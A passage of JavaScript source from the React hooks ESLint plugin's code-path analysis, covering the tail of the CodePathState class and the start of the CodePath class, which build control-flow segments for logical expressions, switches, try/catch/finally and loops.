this.choiceContext = {\n      upper: this.choiceContext,\n      kind,\n      isForkingAsResult,\n      trueForkContext: ForkContext.newEmpty(this.forkContext),\n      falseForkContext: ForkContext.newEmpty(this.forkContext),\n      qqForkContext: ForkContext.newEmpty(this.forkContext),\n      processed: false,\n    };\n  }\n\n  /**\n   * Pops the last choice context and finalizes it.\n   * @throws {Error} (Unreachable.)\n   * @returns {ChoiceContext} The popped context.\n   */\n  popChoiceContext() {\n    const context = this.choiceContext;\n\n    this.choiceContext = context.upper;\n\n    const forkContext = this.forkContext;\n    const headSegments = forkContext.head;\n\n    switch (context.kind) {\n      case '&&':\n      case '||':\n      case '??':\n        /*\n         * If any result were not transferred from child contexts,\n         * this sets the head segments to both cases.\n         * The head segments are the path of the right-hand operand.\n         */\n        if (!context.processed) {\n          context.trueForkContext.add(headSegments);\n          context.falseForkContext.add(headSegments);\n          context.qqForkContext.add(headSegments);\n        }\n\n        /*\n         * Transfers results to upper context if this context is in\n         * test chunk.\n         */\n        if (context.isForkingAsResult) {\n          const parentContext = this.choiceContext;\n\n          parentContext.trueForkContext.addAll(context.trueForkContext);\n          parentContext.falseForkContext.addAll(context.falseForkContext);\n          parentContext.qqForkContext.addAll(context.qqForkContext);\n          parentContext.processed = true;\n\n          return context;\n        }\n\n        break;\n\n      case 'test':\n        if (!context.processed) {\n          /*\n           * The head segments are the path of the `if` block here.\n           * Updates the `true` path with the end of the `if` block.\n           */\n          context.trueForkContext.clear();\n          context.trueForkContext.add(headSegments);\n        } else {\n          /*\n           * The head segments are the path of the `else` block here.\n           * Updates the `false` path with the end of the `else`\n           * block.\n           */\n          context.falseForkContext.clear();\n          context.falseForkContext.add(headSegments);\n        }\n\n        break;\n\n      case 'loop':\n        /*\n         * Loops are addressed in popLoopContext().\n         * This is called from popLoopContext().\n         */\n        return context;\n\n      /* c8 ignore next */\n      default:\n        throw new Error('unreachable');\n    }\n\n    // Merges all paths.\n    const prevForkContext = context.trueForkContext;\n\n    prevForkContext.addAll(context.falseForkContext);\n    forkContext.replaceHead(prevForkContext.makeNext(0, -1));\n\n    return context;\n  }\n\n  /**\n   * Makes a code path segment of the right-hand operand of a logical\n   * expression.\n   * @throws {Error} (Unreachable.)\n   * @returns {void}\n   */\n  makeLogicalRight() {\n    const context = this.choiceContext;\n    const forkContext = this.forkContext;\n\n    if (context.processed) {\n      /*\n       * This got segments already from the child choice context.\n       * Creates the next path from own true/false fork context.\n       */\n      let prevForkContext;\n\n      switch (context.kind) {\n        case '&&': // if true then go to the right-hand side.\n          prevForkContext = context.trueForkContext;\n          break;\n        case '||': // if false then go to the right-hand side.\n          prevForkContext = context.falseForkContext;\n          break;\n        case '??': // Both true/false can short-circuit, so needs the third path to go to the right-hand side. That's qqForkContext.\n          prevForkContext = context.qqForkContext;\n          break;\n        default:\n          throw new Error('unreachable');\n      }\n\n      forkContext.replaceHead(prevForkContext.makeNext(0, -1));\n      prevForkContext.clear();\n      context.processed = false;\n    } else {\n      /*\n       * This did not get segments from the child choice context.\n       * So addresses the head segments.\n       * The head segments are the path of the left-hand operand.\n       */\n      switch (context.kind) {\n        case '&&': // the false path can short-circuit.\n          context.falseForkContext.add(forkContext.head);\n          break;\n        case '||': // the true path can short-circuit.\n          context.trueForkContext.add(forkContext.head);\n          break;\n        case '??': // both can short-circuit.\n          context.trueForkContext.add(forkContext.head);\n          context.falseForkContext.add(forkContext.head);\n          break;\n        default:\n          throw new Error('unreachable');\n      }\n\n      forkContext.replaceHead(forkContext.makeNext(-1, -1));\n    }\n  }\n\n  /**\n   * Makes a code path segment of the `if` block.\n   * @returns {void}\n   */\n  makeIfConsequent() {\n    const context = this.choiceContext;\n    const forkContext = this.forkContext;\n\n    /*\n     * If any result were not transferred from child contexts,\n     * this sets the head segments to both cases.\n     * The head segments are the path of the test expression.\n     */\n    if (!context.processed) {\n      context.trueForkContext.add(forkContext.head);\n      context.falseForkContext.add(forkContext.head);\n      context.qqForkContext.add(forkContext.head);\n    }\n\n    context.processed = false;\n\n    // Creates new path from the `true` case.\n    forkContext.replaceHead(context.trueForkContext.makeNext(0, -1));\n  }\n\n  /**\n   * Makes a code path segment of the `else` block.\n   * @returns {void}\n   */\n  makeIfAlternate() {\n    const context = this.choiceContext;\n    const forkContext = this.forkContext;\n\n    /*\n     * The head segments are the path of the `if` block.\n     * Updates the `true` path with the end of the `if` block.\n     */\n    context.trueForkContext.clear();\n    context.trueForkContext.add(forkContext.head);\n    context.processed = true;\n\n    // Creates new path from the `false` case.\n    forkContext.replaceHead(context.falseForkContext.makeNext(0, -1));\n  }\n\n  //--------------------------------------------------------------------------\n  // ChainExpression\n  //--------------------------------------------------------------------------\n\n  /**\n   * Push a new `ChainExpression` context to the stack.\n   * This method is called on entering to each `ChainExpression` node.\n   * This context is used to count forking in the optional chain then merge them on the exiting from the `ChainExpression` node.\n   * @returns {void}\n   */\n  pushChainContext() {\n    this.chainContext = {\n      upper: this.chainContext,\n      countChoiceContexts: 0,\n    };\n  }\n\n  /**\n   * Pop a `ChainExpression` context from the stack.\n   * This method is called on exiting from each `ChainExpression` node.\n   * This merges all forks of the last optional chaining.\n   * @returns {void}\n   */\n  popChainContext() {\n    const context = this.chainContext;\n\n    this.chainContext = context.upper;\n\n    // pop all choice contexts of this.\n    for (let i = context.countChoiceContexts; i > 0; --i) {\n      this.popChoiceContext();\n    }\n  }\n\n  /**\n   * Create a choice context for optional access.\n   * This method is called on entering to each `(Call|Member)Expression[optional=true]` node.\n   * This creates a choice context as similar to `LogicalExpression[operator=\"??\"]` node.\n   * @returns {void}\n   */\n  makeOptionalNode() {\n    if (this.chainContext) {\n      this.chainContext.countChoiceContexts += 1;\n      this.pushChoiceContext('??', false);\n    }\n  }\n\n  /**\n   * Create a fork.\n   * This method is called on entering to the `arguments|property` property of each `(Call|Member)Expression` node.\n   * @returns {void}\n   */\n  makeOptionalRight() {\n    if (this.chainContext) {\n      this.makeLogicalRight();\n    }\n  }\n\n  //--------------------------------------------------------------------------\n  // SwitchStatement\n  //--------------------------------------------------------------------------\n\n  /**\n   * Creates a context object of SwitchStatement and stacks it.\n   * @param {boolean} hasCase `true` if the switch statement has one or more\n   *   case parts.\n   * @param {string|null} label The label text.\n   * @returns {void}\n   */\n  pushSwitchContext(hasCase, label) {\n    this.switchContext = {\n      upper: this.switchContext,\n      hasCase,\n      defaultSegments: null,\n      defaultBodySegments: null,\n      foundDefault: false,\n      lastIsDefault: false,\n      countForks: 0,\n    };\n\n    this.pushBreakContext(true, label);\n  }\n\n  /**\n   * Pops the last context of SwitchStatement and finalizes it.\n   *\n   * - Disposes all forking stack for `case` and `default`.\n   * - Creates the next code path segment from `context.brokenForkContext`.\n   * - If the last `SwitchCase` node is not a `default` part, creates a path\n   *   to the `default` body.\n   * @returns {void}\n   */\n  popSwitchContext() {\n    const context = this.switchContext;\n\n    this.switchContext = context.upper;\n\n    const forkContext = this.forkContext;\n    const brokenForkContext = this.popBreakContext().brokenForkContext;\n\n    if (context.countForks === 0) {\n      /*\n       * When there is only one `default` chunk and there is one or more\n       * `break` statements, even if forks are nothing, it needs to merge\n       * those.\n       */\n      if (!brokenForkContext.empty) {\n        brokenForkContext.add(forkContext.makeNext(-1, -1));\n        forkContext.replaceHead(brokenForkContext.makeNext(0, -1));\n      }\n\n      return;\n    }\n\n    const lastSegments = forkContext.head;\n\n    this.forkBypassPath();\n    const lastCaseSegments = forkContext.head;\n\n    /*\n     * `brokenForkContext` is used to make the next segment.\n     * It must add the last segment into `brokenForkContext`.\n     */\n    brokenForkContext.add(lastSegments);\n\n    /*\n     * A path which is failed in all case test should be connected to path\n     * of `default` chunk.\n     */\n    if (!context.lastIsDefault) {\n      if (context.defaultBodySegments) {\n        /*\n         * Remove a link from `default` label to its chunk.\n         * It's false route.\n         */\n        removeConnection(context.defaultSegments, context.defaultBodySegments);\n        makeLooped(this, lastCaseSegments, context.defaultBodySegments);\n      } else {\n        /*\n         * It handles the last case body as broken if `default` chunk\n         * does not exist.\n         */\n        brokenForkContext.add(lastCaseSegments);\n      }\n    }\n\n    // Pops the segment context stack until the entry segment.\n    for (let i = 0; i < context.countForks; ++i) {\n      this.forkContext = this.forkContext.upper;\n    }\n\n    /*\n     * Creates a path from all brokenForkContext paths.\n     * This is a path after switch statement.\n     */\n    this.forkContext.replaceHead(brokenForkContext.makeNext(0, -1));\n  }\n\n  /**\n   * Makes a code path segment for a `SwitchCase` node.\n   * @param {boolean} isEmpty `true` if the body is empty.\n   * @param {boolean} isDefault `true` if the body is the default case.\n   * @returns {void}\n   */\n  makeSwitchCaseBody(isEmpty, isDefault) {\n    const context = this.switchContext;\n\n    if (!context.hasCase) {\n      return;\n    }\n\n    /*\n     * Merge forks.\n     * The parent fork context has two segments.\n     * Those are from the current case and the body of the previous case.\n     */\n    const parentForkContext = this.forkContext;\n    const forkContext = this.pushForkContext();\n\n    forkContext.add(parentForkContext.makeNext(0, -1));\n\n    /*\n     * Save `default` chunk info.\n     * If the `default` label is not at the last, we must make a path from\n     * the last `case` to the `default` chunk.\n     */\n    if (isDefault) {\n      context.defaultSegments = parentForkContext.head;\n      if (isEmpty) {\n        context.foundDefault = true;\n      } else {\n        context.defaultBodySegments = forkContext.head;\n      }\n    } else {\n      if (!isEmpty && context.foundDefault) {\n        context.foundDefault = false;\n        context.defaultBodySegments = forkContext.head;\n      }\n    }\n\n    context.lastIsDefault = isDefault;\n    context.countForks += 1;\n  }\n\n  //--------------------------------------------------------------------------\n  // TryStatement\n  //--------------------------------------------------------------------------\n\n  /**\n   * Creates a context object of TryStatement and stacks it.\n   * @param {boolean} hasFinalizer `true` if the try statement has a\n   *   `finally` block.\n   * @returns {void}\n   */\n  pushTryContext(hasFinalizer) {\n    this.tryContext = {\n      upper: this.tryContext,\n      position: 'try',\n      hasFinalizer,\n\n      returnedForkContext: hasFinalizer\n        ? ForkContext.newEmpty(this.forkContext)\n        : null,\n\n      thrownForkContext: ForkContext.newEmpty(this.forkContext),\n      lastOfTryIsReachable: false,\n      lastOfCatchIsReachable: false,\n    };\n  }\n\n  /**\n   * Pops the last context of TryStatement and finalizes it.\n   * @returns {void}\n   */\n  popTryContext() {\n    const context = this.tryContext;\n\n    this.tryContext = context.upper;\n\n    if (context.position === 'catch') {\n      // Merges two paths from the `try` block and `catch` block merely.\n      this.popForkContext();\n      return;\n    }\n\n    /*\n     * The following process is executed only when there is the `finally`\n     * block.\n     */\n\n    const returned = context.returnedForkContext;\n    const thrown = context.thrownForkContext;\n\n    if (returned.empty && thrown.empty) {\n      return;\n    }\n\n    // Separate head to normal paths and leaving paths.\n    const headSegments = this.forkContext.head;\n\n    this.forkContext = this.forkContext.upper;\n    const normalSegments = headSegments.slice(0, (headSegments.length / 2) | 0);\n    const leavingSegments = headSegments.slice((headSegments.length / 2) | 0);\n\n    // Forwards the leaving path to upper contexts.\n    if (!returned.empty) {\n      getReturnContext(this).returnedForkContext.add(leavingSegments);\n    }\n    if (!thrown.empty) {\n      getThrowContext(this).thrownForkContext.add(leavingSegments);\n    }\n\n    // Sets the normal path as the next.\n    this.forkContext.replaceHead(normalSegments);\n\n    /*\n     * If both paths of the `try` block and the `catch` block are\n     * unreachable, the next path becomes unreachable as well.\n     */\n    if (!context.lastOfTryIsReachable && !context.lastOfCatchIsReachable) {\n      this.forkContext.makeUnreachable();\n    }\n  }\n\n  /**\n   * Makes a code path segment for a `catch` block.\n   * @returns {void}\n   */\n  makeCatchBlock() {\n    const context = this.tryContext;\n    const forkContext = this.forkContext;\n    const thrown = context.thrownForkContext;\n\n    // Update state.\n    context.position = 'catch';\n    context.thrownForkContext = ForkContext.newEmpty(forkContext);\n    context.lastOfTryIsReachable = forkContext.reachable;\n\n    // Merge thrown paths.\n    thrown.add(forkContext.head);\n    const thrownSegments = thrown.makeNext(0, -1);\n\n    // Fork to a bypass and the merged thrown path.\n    this.pushForkContext();\n    this.forkBypassPath();\n    this.forkContext.add(thrownSegments);\n  }\n\n  /**\n   * Makes a code path segment for a `finally` block.\n   *\n   * In the `finally` block, parallel paths are created. The parallel paths\n   * are used as leaving-paths. The leaving-paths are paths from `return`\n   * statements and `throw` statements in a `try` block or a `catch` block.\n   * @returns {void}\n   */\n  makeFinallyBlock() {\n    const context = this.tryContext;\n    let forkContext = this.forkContext;\n    const returned = context.returnedForkContext;\n    const thrown = context.thrownForkContext;\n    const headOfLeavingSegments = forkContext.head;\n\n    // Update state.\n    if (context.position === 'catch') {\n      // Merges two paths from the `try` block and `catch` block.\n      this.popForkContext();\n      forkContext = this.forkContext;\n\n      context.lastOfCatchIsReachable = forkContext.reachable;\n    } else {\n      context.lastOfTryIsReachable = forkContext.reachable;\n    }\n    context.position = 'finally';\n\n    if (returned.empty && thrown.empty) {\n      // This path does not leave.\n      return;\n    }\n\n    /*\n     * Create a parallel segment from merging returned and thrown.\n     * This segment will leave at the end of this finally block.\n     */\n    const segments = forkContext.makeNext(-1, -1);\n\n    for (let i = 0; i < forkContext.count; ++i) {\n      const prevSegsOfLeavingSegment = [headOfLeavingSegments[i]];\n\n      for (let j = 0; j < returned.segmentsList.length; ++j) {\n        prevSegsOfLeavingSegment.push(returned.segmentsList[j][i]);\n      }\n      for (let j = 0; j < thrown.segmentsList.length; ++j) {\n        prevSegsOfLeavingSegment.push(thrown.segmentsList[j][i]);\n      }\n\n      segments.push(\n        CodePathSegment.newNext(\n          this.idGenerator.next(),\n          prevSegsOfLeavingSegment,\n        ),\n      );\n    }\n\n    this.pushForkContext(true);\n    this.forkContext.add(segments);\n  }\n\n  /**\n   * Makes a code path segment from the first throwable node to the `catch`\n   * block or the `finally` block.\n   * @returns {void}\n   */\n  makeFirstThrowablePathInTryBlock() {\n    const forkContext = this.forkContext;\n\n    if (!forkContext.reachable) {\n      return;\n    }\n\n    const context = getThrowContext(this);\n\n    if (\n      context === this ||\n      context.position !== 'try' ||\n      !context.thrownForkContext.empty\n    ) {\n      return;\n    }\n\n    context.thrownForkContext.add(forkContext.head);\n    forkContext.replaceHead(forkContext.makeNext(-1, -1));\n  }\n\n  //--------------------------------------------------------------------------\n  // Loop Statements\n  //--------------------------------------------------------------------------\n\n  /**\n   * Creates a context object of a loop statement and stacks it.\n   * @param {string} type The type of the node which was triggered. One of\n   *   `WhileStatement`, `DoWhileStatement`, `ForStatement`, `ForInStatement`,\n   *   and `ForStatement`.\n   * @param {string|null} label A label of the node which was triggered.\n   * @throws {Error} (Unreachable - unknown type.)\n   * @returns {void}\n   */\n  pushLoopContext(type, label) {\n    const forkContext = this.forkContext;\n    const breakContext = this.pushBreakContext(true, label);\n\n    switch (type) {\n      case 'WhileStatement':\n        this.pushChoiceContext('loop', false);\n        this.loopContext = {\n          upper: this.loopContext,\n          type,\n          label,\n          test: void 0,\n          continueDestSegments: null,\n          brokenForkContext: breakContext.brokenForkContext,\n        };\n        break;\n\n      case 'DoWhileStatement':\n        this.pushChoiceContext('loop', false);\n        this.loopContext = {\n          upper: this.loopContext,\n          type,\n          label,\n          test: void 0,\n          entrySegments: null,\n          continueForkContext: ForkContext.newEmpty(forkContext),\n          brokenForkContext: breakContext.brokenForkContext,\n        };\n        break;\n\n      case 'ForStatement':\n        this.pushChoiceContext('loop', false);\n        this.loopContext = {\n          upper: this.loopContext,\n          type,\n          label,\n          test: void 0,\n          endOfInitSegments: null,\n          testSegments: null,\n          endOfTestSegments: null,\n          updateSegments: null,\n          endOfUpdateSegments: null,\n          continueDestSegments: null,\n          brokenForkContext: breakContext.brokenForkContext,\n        };\n        break;\n\n      case 'ForInStatement':\n      case 'ForOfStatement':\n        this.loopContext = {\n          upper: this.loopContext,\n          type,\n          label,\n          prevSegments: null,\n          leftSegments: null,\n          endOfLeftSegments: null,\n          continueDestSegments: null,\n          brokenForkContext: breakContext.brokenForkContext,\n        };\n        break;\n\n      /* c8 ignore next */\n      default:\n        throw new Error(`unknown type: \"${type}\"`);\n    }\n  }\n\n  /**\n   * Pops the last context of a loop statement and finalizes it.\n   * @throws {Error} (Unreachable - unknown type.)\n   * @returns {void}\n   */\n  popLoopContext() {\n    const context = this.loopContext;\n\n    this.loopContext = context.upper;\n\n    const forkContext = this.forkContext;\n    const brokenForkContext = this.popBreakContext().brokenForkContext;\n\n    // Creates a looped path.\n    switch (context.type) {\n      case 'WhileStatement':\n      case 'ForStatement':\n        this.popChoiceContext();\n        makeLooped(this, forkContext.head, context.continueDestSegments);\n        break;\n\n      case 'DoWhileStatement': {\n        const choiceContext = this.popChoiceContext();\n\n        if (!choiceContext.processed) {\n          choiceContext.trueForkContext.add(forkContext.head);\n          choiceContext.falseForkContext.add(forkContext.head);\n        }\n        if (context.test !== true) {\n          brokenForkContext.addAll(choiceContext.falseForkContext);\n        }\n\n        // `true` paths go to looping.\n        const segmentsList = choiceContext.trueForkContext.segmentsList;\n\n        for (let i = 0; i < segmentsList.length; ++i) {\n          makeLooped(this, segmentsList[i], context.entrySegments);\n        }\n        break;\n      }\n\n      case 'ForInStatement':\n      case 'ForOfStatement':\n        brokenForkContext.add(forkContext.head);\n        makeLooped(this, forkContext.head, context.leftSegments);\n        break;\n\n      /* c8 ignore next */\n      default:\n        throw new Error('unreachable');\n    }\n\n    // Go next.\n    if (brokenForkContext.empty) {\n      forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));\n    } else {\n      forkContext.replaceHead(brokenForkContext.makeNext(0, -1));\n    }\n  }\n\n  /**\n   * Makes a code path segment for the test part of a WhileStatement.\n   * @param {boolean|undefined} test The test value (only when constant).\n   * @returns {void}\n   */\n  makeWhileTest(test) {\n    const context = this.loopContext;\n    const forkContext = this.forkContext;\n    const testSegments = forkContext.makeNext(0, -1);\n\n    // Update state.\n    context.test = test;\n    context.continueDestSegments = testSegments;\n    forkContext.replaceHead(testSegments);\n  }\n\n  /**\n   * Makes a code path segment for the body part of a WhileStatement.\n   * @returns {void}\n   */\n  makeWhileBody() {\n    const context = this.loopContext;\n    const choiceContext = this.choiceContext;\n    const forkContext = this.forkContext;\n\n    if (!choiceContext.processed) {\n      choiceContext.trueForkContext.add(forkContext.head);\n      choiceContext.falseForkContext.add(forkContext.head);\n    }\n\n    // Update state.\n    if (context.test !== true) {\n      context.brokenForkContext.addAll(choiceContext.falseForkContext);\n    }\n    forkContext.replaceHead(choiceContext.trueForkContext.makeNext(0, -1));\n  }\n\n  /**\n   * Makes a code path segment for the body part of a DoWhileStatement.\n   * @returns {void}\n   */\n  makeDoWhileBody() {\n    const context = this.loopContext;\n    const forkContext = this.forkContext;\n    const bodySegments = forkContext.makeNext(-1, -1);\n\n    // Update state.\n    context.entrySegments = bodySegments;\n    forkContext.replaceHead(bodySegments);\n  }\n\n  /**\n   * Makes a code path segment for the test part of a DoWhileStatement.\n   * @param {boolean|undefined} test The test value (only when constant).\n   * @returns {void}\n   */\n  makeDoWhileTest(test) {\n    const context = this.loopContext;\n    const forkContext = this.forkContext;\n\n    context.test = test;\n\n    // Creates paths of `continue` statements.\n    if (!context.continueForkContext.empty) {\n      context.continueForkContext.add(forkContext.head);\n      const testSegments = context.continueForkContext.makeNext(0, -1);\n\n      forkContext.replaceHead(testSegments);\n    }\n  }\n\n  /**\n   * Makes a code path segment for the test part of a ForStatement.\n   * @param {boolean|undefined} test The test value (only when constant).\n   * @returns {void}\n   */\n  makeForTest(test) {\n    const context = this.loopContext;\n    const forkContext = this.forkContext;\n    const endOfInitSegments = forkContext.head;\n    const testSegments = forkContext.makeNext(-1, -1);\n\n    // Update state.\n    context.test = test;\n    context.endOfInitSegments = endOfInitSegments;\n    context.continueDestSegments = context.testSegments = testSegments;\n    forkContext.replaceHead(testSegments);\n  }\n\n  /**\n   * Makes a code path segment for the update part of a ForStatement.\n   * @returns {void}\n   */\n  makeForUpdate() {\n    const context = this.loopContext;\n    const choiceContext = this.choiceContext;\n    const forkContext = this.forkContext;\n\n    // Make the next paths of the test.\n    if (context.testSegments) {\n      finalizeTestSegmentsOfFor(context, choiceContext, forkContext.head);\n    } else {\n      context.endOfInitSegments = forkContext.head;\n    }\n\n    // Update state.\n    const updateSegments = forkContext.makeDisconnected(-1, -1);\n\n    context.continueDestSegments = context.updateSegments = updateSegments;\n    forkContext.replaceHead(updateSegments);\n  }\n\n  /**\n   * Makes a code path segment for the body part of a ForStatement.\n   * @returns {void}\n   */\n  makeForBody() {\n    const context = this.loopContext;\n    const choiceContext = this.choiceContext;\n    const forkContext = this.forkContext;\n\n    // Update state.\n    if (context.updateSegments) {\n      context.endOfUpdateSegments = forkContext.head;\n\n      // `update` -> `test`\n      if (context.testSegments) {\n        makeLooped(this, context.endOfUpdateSegments, context.testSegments);\n      }\n    } else if (context.testSegments) {\n      finalizeTestSegmentsOfFor(context, choiceContext, forkContext.head);\n    } else {\n      context.endOfInitSegments = forkContext.head;\n    }\n\n    let bodySegments = context.endOfTestSegments;\n\n    if (!bodySegments) {\n      /*\n       * If there is not the `test` part, the `body` path comes from the\n       * `init` part and the `update` part.\n       */\n      const prevForkContext = ForkContext.newEmpty(forkContext);\n\n      prevForkContext.add(context.endOfInitSegments);\n      if (context.endOfUpdateSegments) {\n        prevForkContext.add(context.endOfUpdateSegments);\n      }\n\n      bodySegments = prevForkContext.makeNext(0, -1);\n    }\n    context.continueDestSegments = context.continueDestSegments || bodySegments;\n    forkContext.replaceHead(bodySegments);\n  }\n\n  /**\n   * Makes a code path segment for the left part of a ForInStatement and a\n   * ForOfStatement.\n   * @returns {void}\n   */\n  makeForInOfLeft() {\n    const context = this.loopContext;\n    const forkContext = this.forkContext;\n    const leftSegments = forkContext.makeDisconnected(-1, -1);\n\n    // Update state.\n    context.prevSegments = forkContext.head;\n    context.leftSegments = context.continueDestSegments = leftSegments;\n    forkContext.replaceHead(leftSegments);\n  }\n\n  /**\n   * Makes a code path segment for the right part of a ForInStatement and a\n   * ForOfStatement.\n   * @returns {void}\n   */\n  makeForInOfRight() {\n    const context = this.loopContext;\n    const forkContext = this.forkContext;\n    const temp = ForkContext.newEmpty(forkContext);\n\n    temp.add(context.prevSegments);\n    const rightSegments = temp.makeNext(-1, -1);\n\n    // Update state.\n    context.endOfLeftSegments = forkContext.head;\n    forkContext.replaceHead(rightSegments);\n  }\n\n  /**\n   * Makes a code path segment for the body part of a ForInStatement and a\n   * ForOfStatement.\n   * @returns {void}\n   */\n  makeForInOfBody() {\n    const context = this.loopContext;\n    const forkContext = this.forkContext;\n    const temp = ForkContext.newEmpty(forkContext);\n\n    temp.add(context.endOfLeftSegments);\n    const bodySegments = temp.makeNext(-1, -1);\n\n    // Make a path: `right` -> `left`.\n    makeLooped(this, forkContext.head, context.leftSegments);\n\n    // Update state.\n    context.brokenForkContext.add(forkContext.head);\n    forkContext.replaceHead(bodySegments);\n  }\n\n  //--------------------------------------------------------------------------\n  // Control Statements\n  //--------------------------------------------------------------------------\n\n  /**\n   * Creates new context for BreakStatement.\n   * @param {boolean} breakable The flag to indicate it can break by\n   *      an unlabeled BreakStatement.\n   * @param {string|null} label The label of this context.\n   * @returns {Object} The new context.\n   */\n  pushBreakContext(breakable, label) {\n    this.breakContext = {\n      upper: this.breakContext,\n      breakable,\n      label,\n      brokenForkContext: ForkContext.newEmpty(this.forkContext),\n    };\n    return this.breakContext;\n  }\n\n  /**\n   * Removes the top item of the break context stack.\n   * @returns {Object} The removed context.\n   */\n  popBreakContext() {\n    const context = this.breakContext;\n    const forkContext = this.forkContext;\n\n    this.breakContext = context.upper;\n\n    // Process this context here for other than switches and loops.\n    if (!context.breakable) {\n      const brokenForkContext = context.brokenForkContext;\n\n      if (!brokenForkContext.empty) {\n        brokenForkContext.add(forkContext.head);\n        forkContext.replaceHead(brokenForkContext.makeNext(0, -1));\n      }\n    }\n\n    return context;\n  }\n\n  /**\n   * Makes a path for a `break` statement.\n   *\n   * It registers the head segment to a context of `break`.\n   * It makes new unreachable segment, then it set the head with the segment.\n   * @param {string} label A label of the break statement.\n   * @returns {void}\n   */\n  makeBreak(label) {\n    const forkContext = this.forkContext;\n\n    if (!forkContext.reachable) {\n      return;\n    }\n\n    const context = getBreakContext(this, label);\n\n    if (context) {\n      context.brokenForkContext.add(forkContext.head);\n    }\n\n    /* c8 ignore next */\n    forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));\n  }\n\n  /**\n   * Makes a path for a `continue` statement.\n   *\n   * It makes a looping path.\n   * It makes new unreachable segment, then it set the head with the segment.\n   * @param {string} label A label of the continue statement.\n   * @returns {void}\n   */\n  makeContinue(label) {\n    const forkContext = this.forkContext;\n\n    if (!forkContext.reachable) {\n      return;\n    }\n\n    const context = getContinueContext(this, label);\n\n    if (context) {\n      if (context.continueDestSegments) {\n        makeLooped(this, forkContext.head, context.continueDestSegments);\n\n        // If the context is a for-in/of loop, this effects a break also.\n        if (\n          context.type === 'ForInStatement' ||\n          context.type === 'ForOfStatement'\n        ) {\n          context.brokenForkContext.add(forkContext.head);\n        }\n      } else {\n        context.continueForkContext.add(forkContext.head);\n      }\n    }\n    forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));\n  }\n\n  /**\n   * Makes a path for a `return` statement.\n   *\n   * It registers the head segment to a context of `return`.\n   * It makes new unreachable segment, then it set the head with the segment.\n   * @returns {void}\n   */\n  makeReturn() {\n    const forkContext = this.forkContext;\n\n    if (forkContext.reachable) {\n      getReturnContext(this).returnedForkContext.add(forkContext.head);\n      forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));\n    }\n  }\n\n  /**\n   * Makes a path for a `throw` statement.\n   *\n   * It registers the head segment to a context of `throw`.\n   * It makes new unreachable segment, then it set the head with the segment.\n   * @returns {void}\n   */\n  makeThrow() {\n    const forkContext = this.forkContext;\n\n    if (forkContext.reachable) {\n      getThrowContext(this).thrownForkContext.add(forkContext.head);\n      forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));\n    }\n  }\n\n  /**\n   * Makes the final path.\n   * @returns {void}\n   */\n  makeFinal() {\n    const segments = this.currentSegments;\n\n    if (segments.length > 0 && segments[0].reachable) {\n      this.returnedForkContext.add(segments);\n    }\n  }\n}\n\nmodule.exports = CodePathState;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path.js",
    "content": "'use strict';\n\n//------------------------------------------------------------------------------\n// Requirements\n//------------------------------------------------------------------------------\n\n// eslint-disable-next-line\nconst CodePathState = require('./code-path-state');\n// eslint-disable-next-line\nconst IdGenerator = require('./id-generator');\n\n//------------------------------------------------------------------------------\n// Public Interface\n//------------------------------------------------------------------------------\n\n/**\n * A code path.\n */\nclass CodePath {\n  /**\n   * Creates a new instance.\n   * @param {Object} options Options for the function (see below).\n   * @param {string} options.id An identifier.\n   * @param {string} options.origin The type of code path origin.\n   * @param {CodePath|null} options.upper The code path of the upper function scope.\n   * @param {Function} options.onLooped A callback function to notify looping.\n   */\n  constructor({id, origin, upper, onLooped}) {\n    /**\n     * The identifier of this code path.\n     * Rules use it to store additional information of each rule.\n     * @type {string}\n     */\n    this.id = id;\n\n    /**\n     * The reason that this code path was started. May be \"program\",\n     * \"function\", \"class-field-initializer\", or \"class-static-block\".\n     * @type {string}\n     */\n    this.origin = origin;\n\n    /**\n     * The code path of the upper function scope.\n     * @type {CodePath|null}\n     */\n    this.upper = upper;\n\n    /**\n     * The code paths of nested function scopes.\n     * @type {CodePath[]}\n     */\n    this.childCodePaths = [];\n\n    // Initializes internal state.\n    Object.defineProperty(this, 'internal', {\n      value: new CodePathState(new IdGenerator(`${id}_`), onLooped),\n    });\n\n    // Adds this into `childCodePaths` of `upper`.\n    if (upper) {\n      upper.childCodePaths.push(this);\n    }\n  }\n\n  /**\n   * Gets the state of a given code path.\n   * @param {CodePath} codePath A code path to get.\n   * @returns {CodePathState} The state of the code path.\n   */\n  static getState(codePath) {\n    return codePath.internal;\n  }\n\n  /**\n   * The initial code path segment.\n   * @type {CodePathSegment}\n   */\n  get initialSegment() {\n    return this.internal.initialSegment;\n  }\n\n  /**\n   * Final code path segments.\n   * This array is a mix of `returnedSegments` and `thrownSegments`.\n   * @type {CodePathSegment[]}\n   */\n  get finalSegments() {\n    return this.internal.finalSegments;\n  }\n\n  /**\n   * Final code path segments which is with `return` statements.\n   * This array contains the last path segment if it's reachable.\n   * Since the reachable last path returns `undefined`.\n   * @type {CodePathSegment[]}\n   */\n  get returnedSegments() {\n    return this.internal.returnedForkContext;\n  }\n\n  /**\n   * Final code path segments which is with `throw` statements.\n   * @type {CodePathSegment[]}\n   */\n  get thrownSegments() {\n    return this.internal.thrownForkContext;\n  }\n\n  /**\n   * Current code path segments.\n   * @type {CodePathSegment[]}\n   */\n  get currentSegments() {\n    return this.internal.currentSegments;\n  }\n\n  /**\n   * Traverses all segments in this code path.\n   *\n   *     codePath.traverseSegments(function(segment, controller) {\n   *         // do something.\n   *     });\n   *\n   * This method enumerates segments in order from the head.\n   *\n   * The `controller` object has two methods.\n   *\n   * - `controller.skip()` - Skip the following segments in this branch.\n   * - `controller.break()` - Skip all following segments.\n   * @param {Object} [options] Omittable.\n   * @param {CodePathSegment} [options.first] The first segment to traverse.\n   * @param {CodePathSegment} [options.last] The last segment to traverse.\n   * @param {Function} callback A callback function.\n   * @returns {void}\n   */\n  traverseSegments(options, callback) {\n    let resolvedOptions;\n    let resolvedCallback;\n\n    if (typeof options === 'function') {\n      resolvedCallback = options;\n      resolvedOptions = {};\n    } else {\n      resolvedOptions = options || {};\n      resolvedCallback = callback;\n    }\n\n    const startSegment = resolvedOptions.first || this.internal.initialSegment;\n    const lastSegment = resolvedOptions.last;\n\n    let item = null;\n    let index = 0;\n    let end = 0;\n    let segment = null;\n    const visited = Object.create(null);\n    const stack = [[startSegment, 0]];\n    let skippedSegment = null;\n    let broken = false;\n    const controller = {\n      